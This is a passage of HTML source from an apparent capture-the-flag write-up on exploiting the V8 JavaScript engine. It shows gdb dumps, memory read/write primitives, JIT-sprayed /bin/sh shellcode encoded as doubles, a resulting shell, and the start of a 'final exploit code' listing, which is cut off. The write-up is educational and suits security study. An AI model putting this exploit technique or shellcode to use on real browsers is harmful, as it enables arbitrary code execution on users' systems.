class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b78:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar4&#34;&gt;ccccccccce&lt;/span&gt;ba490f&#xD;&#xA;0x5555b7941b80: 0xc26ef9c1c4&lt;span class=&#34;jsMemVar4&#34;&gt;cccccc&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b88:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar6&#34;&gt;cf&lt;/span&gt;ba49174111fbc5&#xD;&#xA;0x5555b7941b90: 0xc4&lt;span class=&#34;jsMemVar6&#34;&gt;cccccccccccccc&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b98:&lt;/span&gt; 0x4111fbc5c26ef9c1&#xD;&#xA;0x5555b7941ba0: 0xba49274111fbc51f&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941ba8:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar8&#34;&gt;ccccccccccccccd0&lt;/span&gt;&#xD;&#xA;0x5555b7941bb0: 0x11fbc5c26ef9c1c4&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941bb8:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar10&#34;&gt;ccccccd1&lt;/span&gt;ba492f41&#xD;&#xA;0x5555b7941bc0: 0x6ef9c1c4&lt;span class=&#34;jsMemVar10&#34;&gt;cccccccc&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941bc8:&lt;/span&gt; 0xba49374111fbc5c2&#xD;&#xA;0x5555b7941bd0: 0x&lt;span class=&#34;jsMemVar12&#34;&gt;ccccccccccccccc9&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941bd8:&lt;/span&gt; 0x11fbc5c26ef9c1c4&#xD;&#xA;0x5555b7941be0: 0x894d10478d4c3f41&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941be8:&lt;/span&gt; 0xb84101c783484845&#xD;&#xA;0x5555b7941bf0: 0xff478944001cb7c5&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941bf8:&lt;/span&gt; 0x89000007250347c7&#xD;&#xA;(gdb) c&#xD;&#xA;Continuing.&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;) + &lt;span class=&#34;jsConValIn&#34;&gt;0x53n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;Thread 1 &#34;d8&#34; received signal SIGTRAP, Trace/breakpoint trap.&#xD;&#xA;0x00005555b7941b53 in ?? ()&#xD;&#xA;(gdb)&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Perfect! We found the place in the &lt;strong&gt;rwx&lt;/strong&gt; memory our &lt;strong&gt;0xCC&lt;/strong&gt; instruction got moved to, and then successfully redirected the execution to that point. The only problem is that our doubles in the memory are not directly one after another - there&amp;rsquo;s some other instructions in-between and we must deal with that somehow.&lt;/p&gt;&#xA;&lt;p&gt;The solution to that is creating some very special shellcode that carefully jumps from one double to the next in a way where our code is the only code getting executed. &lt;a href=&#34;https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/&#34;&gt;Anvbis&amp;rsquo; writeup&lt;/a&gt; does a way better job of explaining this than I ever could, so go check it out!&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;shellcode&lt;/span&gt;&lt;span style=&#34;white-space: pre-wrap&#34;&gt;() {&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; [&#xD;&#xA;       &lt;span class=&#34;jsConNull&#34;&gt;// Anvbis&#39; /bin/sh shellcode&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9711828979523134e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9562205631094693e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9557819155246427e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9711824228871598e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.971182639857203e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9711829003383248e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.9895153920223886e-246&lt;/span&gt;,&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;1.971182898881177e-246&lt;/span&gt;&#xD;&#xA;     ]&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;PrepareFunctionForOptimization&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x14n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;write&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;, &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;) + &lt;span class=&#34;jsConValIn&#34;&gt;0x53n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;&lt;span style=&#34;color:var(--lyreGold)&#34;&gt;lyra@horse&lt;/span&gt;:&lt;span style=&#34;color:#F00&#34;&gt;~&lt;/span&gt;$ whoami&#xD;&#xA;lyra&#xD;&#xA;&lt;span style=&#34;color:var(--lyreGold)&#34;&gt;lyra@horse&lt;/span&gt;:&lt;span style=&#34;color:#F00&#34;&gt;~&lt;/span&gt;$ fortune&#xD;&#xA;You have a deep interest in all that is artistic.&#xD;&#xA;&lt;span style=&#34;color:var(--lyreGold)&#34;&gt;lyra@horse&lt;/span&gt;:&lt;span style=&#34;color:#F00&#34;&gt;~&lt;/span&gt;$&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;!-- i was rerunning the commands to see how i should style it in the css and i got that fortune ^^ --&gt;&#xD;&#xA;&lt;p&gt;&lt;strong&gt;We got shell!!!&lt;/strong&gt; We&amp;rsquo;re almost there, except&amp;hellip;&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-5-please-dont-collect-the-garbage&#34;&gt;Part 5: Please don&amp;rsquo;t collect the garbage&lt;/h2&gt;&#xA;&lt;p&gt;We&amp;rsquo;re still reliant on the &lt;strong&gt;%PrepareFunction&lt;wbr&gt;ForOptimization()&lt;/strong&gt; and &lt;strong&gt;%OptimizeFunction&lt;wbr&gt;OnNextCall()&lt;/strong&gt; debug functions. We can&amp;rsquo;t use them in the actual CTF, so let&amp;rsquo;s try to replace them.&lt;/p&gt;&#xA;&lt;p&gt;We want to somehow tell V8 to optimize our function with Turbofan, and the easiest way to accomplish that is to just run our function a lot of times, let&amp;rsquo;s give it a shot!&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;10000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) &lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;();&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x128c001d3e95: [Function] in OldSpace&#xD;&#xA; - code: 0x128c00032cc1 &amp;lt;Code BUILTIN InterpreterEntryTrampoline&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;100000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) &lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;();&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x128c001d3e95: [Function] in OldSpace&#xD;&#xA; - code: 0x128c0020051d &amp;lt;Code MAGLEV&amp;gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;1000000&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) &lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;();&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;shellcode&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;DebugPrint: 0x128c001d3e95: [Function] in OldSpace&#xD;&#xA; - code: 0x128c00200ad9 &amp;lt;Code TURBOFAN&amp;gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Yay, we got our Turbofan code without having to use the debug function stuff! Now let&amp;rsquo;s try running the exploit again.&lt;/p&gt;&#xA;&lt;div class=&#34;termCode&#34;&gt;&lt;span class=&#34;termCodeW&#34;&gt;$ gdb --args ./d8 exploit.js&lt;/span&gt;&#xD;&#xA;GNU gdb (GDB) 14.2&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb) run&lt;/span&gt;&#xD;&#xA;[Thread 0x7ffff74986c0 (LWP 3563) exited]&#xD;&#xA;[Thread 0x7ffff6c976c0 (LWP 3564) exited]&#xD;&#xA;[Thread 0x7ffff7c996c0 (LWP 3562) exited]&#xD;&#xA;[Inferior 1 (process 3559) exited normally]&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb)&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;huh&amp;hellip; that didn&amp;rsquo;t work?&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try again with some debug logging and the &lt;code&gt;--trace-gc&lt;/code&gt; flag added.&lt;/p&gt;&#xA;&lt;div class=&#34;termCode&#34;&gt;&lt;span class=&#34;termCodeW&#34;&gt;$ gdb --args ./d8 --trace-gc --allow-natives-syntax exploit.js&lt;/span&gt;&#xD;&#xA;GNU gdb (GDB) 14.2&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb) run&lt;/span&gt;&#xD;&#xA;Optimizing shellcode() into TURBOFAN&#xD;&#xA;[3735:0x555557e0a000]       61 ms: Scavenge 1.1 (1.8) -&gt; 0.1 (2.8) MB, pooled: 0 MB, 14.69 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]       79 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 16.18 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]       96 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 16.78 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      111 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 14.87 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      123 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 11.77 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      136 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 12.39 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      155 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 18.08 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      177 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 9.98 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      185 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 7.04 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;[3735:0x555557e0a000]      191 ms: Scavenge 1.1 (3.0) -&gt; 0.1 (3.0) MB, pooled: 0 MB, 6.31 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; &#xD;&#xA;DebugPrint: 0x298a001d4011: [Function] in OldSpace&#xD;&#xA; - code: 0x39bb002005e5 &amp;lt;Code TURBOFAN&amp;gt;&#xD;&#xA;funcAddr: 0x00043999&#xD;&#xA;codeAddr: 0x00000725&#xD;&#xA;instructionStart: 0x00000725&#xD;&#xA;Writing shellcode&#xD;&#xA;Running shellcode&#xD;&#xA;[Thread 0x7ffff74986c0 (LWP 3739) exited]&#xD;&#xA;[Thread 0x7ffff6c976c0 (LWP 3740) exited]&#xD;&#xA;[Thread 0x7ffff7c996c0 (LWP 3738) exited]&#xD;&#xA;[Inferior 1 (process 3735) exited normally]&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb)&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Hmm, so our code gets optimized into Turbofan just fine, but the funcAddr is all wrong! It seems like the &lt;em&gt;for loop&lt;/em&gt; causes the garbage collector to run, and what the garbage collector does is look at all the stuff in the memory and rearrange it to look nicer. More specifically, &lt;a href=&#34;https://v8.dev/blog/trash-talk&#34;&gt;it identifies objects no longer in use, removes them, and also defragments the memory&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What this means for us is that it takes our cool oob array and all the other stuff we&amp;rsquo;ve set up and throws it all over the place. Our primitives no longer work! In my original exploit at the CTF I fought hard against the GC and eventually found a setup that worked regardless, but it was a bit unreliable. Wouldn&amp;rsquo;t it be nice if we could somehow optimize our function without causing a GC?&lt;/p&gt;&#xA;&lt;p&gt;I wasn&amp;rsquo;t able to find a way to do this with Turbofan, but perhaps we could try out that Maglev thing we ignored earlier? Its output is a bit different, so we&amp;rsquo;ll have to change our offsets, but since Maglev too compiles into machine code it should still work the same.&lt;/p&gt;&#xA;&lt;p&gt;With that added, &lt;strong&gt;we have our final exploit code&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConNull&#34;&gt;// set up helper stuff&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ArrayBuffer&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;floatBuffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Float64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;int64Buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;BigUint64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to double&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// double to bigint&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;f&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span 